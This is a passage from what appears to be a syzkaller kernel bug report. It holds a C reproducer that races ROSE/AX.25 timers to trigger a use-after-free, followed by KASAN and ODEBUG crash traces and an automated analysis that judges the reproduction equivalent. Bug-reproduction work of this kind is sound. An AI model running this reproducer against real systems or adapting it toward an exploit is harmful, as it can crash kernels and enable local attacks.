    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
ReproducedBugTitle
WARNING: ODEBUG bug in handle_softirqs
ReproducedCrashReport
------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah

Crash report:
==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Trajectory: (Expand/Collapse All)
Seq Timestamp Type Name Duration
0/0 2026/05/26 10:46 flow repro-c
1h15m Results:
map[EquivalenceAnalysis:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. OtherCrashReports:[------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
